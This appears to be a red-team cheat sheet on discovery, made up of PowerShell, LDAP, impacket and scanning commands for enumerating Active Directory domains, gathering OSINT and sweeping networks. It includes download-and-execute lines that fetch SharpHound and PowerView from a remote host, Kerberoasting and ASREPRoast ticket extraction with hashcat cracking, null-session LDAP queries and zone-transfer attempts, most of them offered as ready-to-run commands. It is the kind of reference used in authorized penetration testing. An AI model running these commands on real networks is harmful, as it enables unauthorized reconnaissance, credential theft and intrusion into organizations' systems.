Discovery

The adversary is trying to figure out your environment. https://attack.mitre.org/tactics/TA0007/

User Group Membership

Get-ADPrincipalGroupMembership "USERNAME" | Select name

MachineAccountQuote Lookup

$domain = "burmat.local"
$domainDN = (Get-ADDomain -Identity $domain).DistinguishedName
$addMachineQuota = (Get-ADObject -Identity $domainDN -Properties ms-DS-MachineAccountQuota).'ms-DS-MachineAccountQuota'
Write-Host "Current AddMachineQuota value: $addMachineQuota"

AD Enumeration via ADSI DirectorySearcher

Use the following to leverage ADSI and PowerShell for LDAP Queries

$users = ([adsisearcher]"<LDAP QUERY HERE>").FindAll();

Computer/User Objects

([adsisearcher]'(&(objectCategory=Computer))').FindAll();
([adsisearcher]'(&(objectCategory=User))').FindAll();

SPNs

([adsisearcher]"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))").FindAll();

Or

$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"");
$s.PageSize = 2000; 
$s.Filter = "(servicePrincipalName=*)";
$s.FindAll();

Unconstrained delegation

([adsisearcher]"(&(&(objectCategory=person)(objectClass=user)) (!userAccountControl:1.2.840.113556.1.4.803:=524288))").FindAll();

Local Administrator Password Solution (LAPS)

Retrieve computers that are not configured with LAPS

Get-ADComputer -Credential $cred -Server BURMAT.LOCAL -Filter {ms-Mcs-AdmPwd -notlike "*"} | Export-CSV -Path C:\temp\no_laps.csv;

BOFHound

You can use BOFHound to convert the output from the BOF ldapsearch or from pyldapsearch to BloodHound-compatible JSON files.

Collection

pyldapsearch burmat.co/jsmith:Password123 '(objectClass=domain)'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=computer)'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=user)'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=trustedDomain)'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=organizationalUnit)'
pyldapsearch burmat.co/jsmith:Password123 '(&(objectClass=group)(|(cn=Domain Admins)(cn=Enterprise Admins)(cn=Schema Admins)))'
pyldapsearch burmat.co/jsmith:Password123 '(objectClass=groupPolicyContainer)'
pyldapsearch burmat.co/jsmith:Password123 '(&(objectClass=user)(servicePrincipalName=*))'

Conversion

# bofhound -o output -i /root/.pyldapsearch/logs/

 _____________________________ __    __    ______    __    __   __   __   _______
|   _   /  /  __   / |   ____/|  |  |  |  /  __  \  |  |  |  | |  \ |  | |       \
|  |_)  | |  |  |  | |  |__   |  |__|  | |  |  |  | |  |  |  | |   \|  | |  .--.  |
|   _  <  |  |  |  | |   __|  |   __   | |  |  |  | |  |  |  | |  . `  | |  |  |  |
|  |_)  | |  `--'  | |  |     |  |  |  | |  `--'  | |  `--'  | |  |\   | |  '--'  |
|______/   \______/  |__|     |__|  |___\_\________\_\________\|__| \___\|_________\

                              by Fortalice ✪

[08:49:53] INFO     Located 2 beacon log files
[08:49:56] INFO     Parsed 18146 objects from 2 log files
[08:49:56] INFO     Sorting parsed objects by type...
[08:49:56] INFO     Parsed 4519 Users
[08:49:56] INFO     Parsed 1 Groups
[08:49:56] INFO     Parsed 4390 Computers
[08:49:56] INFO     Parsed 1 Domains
[08:49:56] INFO     Parsed 6 Trust Accounts
[08:49:56] INFO     Parsed 358 OUs
[08:49:56] INFO     Parsed 84 GPOs
[08:49:56] INFO     Parsed 0 Schemas
[08:49:56] INFO     Parsed 0 Unknown Objects
[08:50:29] INFO     Parsed 338257 ACL relationships
[08:50:29] INFO     Created default users
[08:50:29] INFO     Created default groups
[08:50:29] INFO     Resolved group memberships
[08:50:29] INFO     Resolved delegation relationships
[08:50:29] INFO     Resolved OU memberships
[08:50:29] INFO     Linked GPOs to OUs
[08:50:29] INFO     Resolved domain trusts
[08:50:31] INFO     JSON files written to output

References:

BloodHound

Ingester Launch

IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.123/ps/SharpHound.ps1');
Invoke-BloodHound -CollectionMethod All -CompressData -SkipPing;

LDAP Enumeration

Null Sessions

ldapsearch -x -h 10.10.10.123 -D '' -w '' -b "DC=BURMAT,DC=LOCAL"

LDAP Queries

Below are some useful LDAP queries that will help you enumerate a system. Some of them require a valid username/password to get more information. My go-to for these queries is ldapsearch. Use the following command and fill in your LDAP query in the placeholder:

ldapsearch -LLL -x -H ldap://burmat.local -D "svc-burmat" -w "burmat123$" -b "dc=burmat,dc=LOCAL" "<LDAP QUERY HERE>"

Domain Usernames

Get usernames into a list by enumerating user objects:

ldapsearch -x -h burmat.local -b "dc=burmat,dc=local" -s sub "(objectclass=user)" | grep sAMAccountName | cut -d " " -f 2 > users.txt

ASREPRoast

## ldap filter to find accounts susceptible to this:
"(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"

## generate a list of user accounts and use impacket to exploit:

## and if you get a ticket, you can crack it:
hashcat -m 18200 -a 0 --force user.hash /usr/share/wordlists/rockyou.txt

Users with SPNs

"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"

If you get valid domain credentials, you can dump them w/ impacket for offline cracking:

GetUserSPNs.py -request burmat.local/svc-burmat:burmat123

User / Computers with Unconstrained Delegation

# user:
"(&(&(objectCategory=person) (objectClass=user)) (userAccountControl:1.2.840.113556.1.4.803:=524288))"

# computer:
"(&(objectCategory=computer) (objectClass=computer) (userAccountControl:1.2.840.113556.1.4.803:=524288))"

Domain Administrators

"(&(objectClass=user) (memberof:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=burmat,DC=local))" "objectClass=groupPolicyContainer"

PowerSploit

Use the dev branch or PowerSploit. For an already incredible cheat sheet, check out HarmJ0y's.

IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')

Get Domain Users

Get-DomainUser * -Domain burmat.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset, lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol | Export-CSV users.csv

Retrieve Group Members

Get-DomainGroupMember -Identity "Domain Admins" | Select-Object membername

Users Allowed to Delegate

Get-DomainUser -Credential $cred -Server dc01.burmat.local -Domain burmat.local -AllowDelegation -AdminCount | Export-Csv -Path C:\allowed_to_deleg.csv

User Description Gathering

Get-DomainUser -Credential $cred -Server dc01.burmat.local -Domain burmat.local -Properties SAMAccountName,Description | Select-Object SAMAccountName,Description | Export-CSV -Path C:\user_descriptions.csv

Enumerate User DACLs

Get-DomainObjectAcl -Identity it_admin -ResolveGUIDs ? { $_.SecurityIdentifier -Match $(ConvertTo-SID burmat) }

SPN Ticket Request (Kerberoasting)

Get-DomainUser * -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv .\ticket.csv -NoTypeInformation

Domain Controller Discovery

Get-DomainComputer -Credential $cred -Server dc01.burmat.local -Domain burmat.local -SearchBase "LDAP://OU=Domain Controllers,DC=BURMAT,DC=LOCAL" | Export-Csv -Path C:\domain_controllers.csv

Domain Computers

Get-DomainComputer -Filter * -Server dc01.burmat.local | export-csv -Path C:\temp\domain_computers.csv

Unconstrained Delegation (Other than DCs)

Get-DomainComputer -Credential $cred -Server dc01.burmat.local -Domain burmat.local -Unconstrained | Export-Csv -Path C:\unconstrained_deleg_machines.csv

Network Shares Enumeration

Find-DomainShare -ComputerName fs01.domain.local -ComputerDomain domain.local -CheckShareAccess

Authenticated:

$secpassword = ConvertTo-SecureString 'Password123$' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $secpassword)
Find-DomainShare -Domain dir.svc.accenture.com -Credential $cred

Looping a list of hostnames:

foreach ($h in $smb_hosts) {  Find-DomainShare -Credential $cred -computername "$h" -computerdomain burmat.local -server dc1.burmat.local -CheckShareAccess; }

theHarvester

An open-source intelligence (OSINT) gathering tool, that will tap into many difference APIs to gather data for you. GitHub: https://github.com/laramies/theHarvester Installation is a PITA. Put your API keys into the api-keys.yaml file in the root of the directory

Sample theHarvester API Configuration File

This goes in ~/.theHarvester/api-keys.yaml for Kali

apikeys:
  bevigil:
    key:
  binaryedge:
    key:
  bing:
    key:
  bufferoverun:
    key:
  censys:
    id:
    secret:
  criminalip:
    key:
  fullhunt:
    key:
  github:
    key:
  hunter:
    key:
  hunterhow:
    key:
  intelx:
    key:
  netlas:
    key:
  onyphe:
    key:
  pentestTools:
    key:
  projectDiscovery:
    key:
  rocketreach:
    key:
  securityTrails:
    key:
  shodan:
    key:
  tomba:
    key:
    secret:
  virustotal:
    key:
  zoomeye:
    key:

Email Address Gathering

Getting a list of email addresses from intelx.io:

theHarvester.py -d contoso.com -b intelx >> intelx-contoso.com.txt

If you are doing multiple domains, you can use the following bash one-liner, where domains.txt is a list of domain names to search:

while read d; do python3 theHarvester.py -b intelx -d $d -f "th-$d"; sleep 1; done < domains.txt

Clean up the output to just be emails with the following, if you have problems:

grep -i -o '[A-Z0-9._%+-]\\+@[A-Z0-9.-]\\+\\.[A-Z]\\{2,4\\}' intelx-contoso.com.txt

Web Enumeration

aquatone

Found here: GitHub - michenriksen/aquatone: A Tool for Domain Flyovers

Basic Usage

cat hosts.txt | aquatone -ports small -out scans/aquatone -threads 10 -screenshot-timeout 50000 -chrome-path /usr/bin/chromium

Nmap Scan Results

cat nmap/tcp_web.xml | aquatone -nmap -screenshot-timeout 50000 -out scans/aquatone -threads 10 -chrome-path /usr/bin/chromium

Using a Proxy via Burp

(Assuming Burp is listening to localhost:8080):

  • -proxy http://127.0.0.1:8080

Built-In Port Lists & Aliases

* `small: 80, 443` * `medium: 80, 443, 8000, 8080, 8443 (same as default)` * `large: 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888` * `xlarge: 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082, 2087, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104, 5108, 5800, 6543, 7000, 7396, 7474, 8000, 8001, 8008, 8014, 8042, 8069, 8080, 8081, 8088, 8090, 8091, 8118, 8123, 8172, 8222, 8243, 8280, 8281, 8333, 8443, 8500, 8834, 8880, 8888, 8983, 9000, 9043, 9060, 9080, 9090, 9091, 9200, 9443, 9800, 9981, 12443, 16080, 18091, 18092, 20720, 28017`

Sonar

https://github.com/Cgboal/SonarSearch

go get github.com/cgboal/sonarsearch/cmd/crobat

Run the following to find domains associated to your scope, and extract the root-level domains for (potentially) additional scope:

  • for i in $(cat scope.txt); do crobat -r $i >> crobat_out.txt; done

Once you have a list root-level domains, use the results to find additional subdomains:

  • cat crobat_out.txt | assetfinder -subs-only

Quering the data from the dataset yourself (watch your storage space):

https://opendata.rapid7.com/sonar.fdns_v2/

You’ll wanna pull the most recent copy of the data, so ensure you update the following accordingly:

wget https://opendata.rapid7.com/sonar.fdns_v2/2021-06-27-1624784903-fdns_ns.json.gz
gunzip 2021-06-27-1624784903-fdns_ns.json.gz
cat 2021-01-30-1611965078-fdns_a.json | grep ".DOMAIN.com" | jq .name | tr '" " "' " / " | tee -a sonar

Using these commands, you should be able to pull out a lot of relevant domain names.

EyeWitness

EyeWitness is designed to take screenshots of websites provide some server header info, and identify default credentials if known.

Basic usage with Nmap results:

EyeWitness.py --web -x /root/port443.xml -d /root/output --no-prompt --jitter 3 --threads 3

You can drive it with a Nessus scan result too:

EyeWitness.py --web -x ~/NessusExport.xml

Network Discovery

Shodan

See here: Shodan

SPF/DMARC/DKIM

## SPF record:
nslookup -type=txt contoso.com

## DKIM lookup (this is a guess):
nslookup -type=txt s1._domainkey.contoso.com

# for Microsoft 365, you can pull the selector from an email header, but it will USUALLY follow this format (try both!!):
nslookup -type=txt selector1-burmatco-onmicrosoft-com._domainkey.burmatco.onmicrosoft.com
nslookup -type=txt selector2-burmatco-onmicrosoft-com._domainkey.burmatco.onmicrosoft.com

## DMARC lookup:
nslookup -type=txt _dmarc.contoso.com

DNS Zone Transfer

Windows

PS C> nslookup
Default Server:  dns.adprod.directory
Address:  10.1.14.52

> server 10.1.11.52
Default Server:  dc01.adprod.directory
Address:  10.1.11.52

> ls -d adprod.directory
[dc01.adprod.directory]
..SNIP..

Linux

dig axfr <DOMAIN_NAME_TO_TRANSFER> @<DNS_SYSTEM_IP>
# or
host -t axfr -l <DOMAIN_NAME_TO_TRANSFER> <DNS_SYSTEM_IP>

ARP

arp -a -n

masscan

This will do a ping sweep, then check for the following ports

masscan -iL ranges.txt -oG live --open-only --ping -p 80,443,445,22,3389 --rate=500

Use the sedcommands after putting your IP ranges into a text file:

masscan -c ./ranges.txt --ping --open-only -p 21,22,23,25,53,80,443,445,1433,3389,8080,8443 -oG discovery/live.txt --rate 300
sed -i.bak 's/^/ranges = /' discovery/Final_live.txt
  • Note: make sure your ranges.txt file is in the following format: range = 192.168.0.0/16 with line breaks

Last updated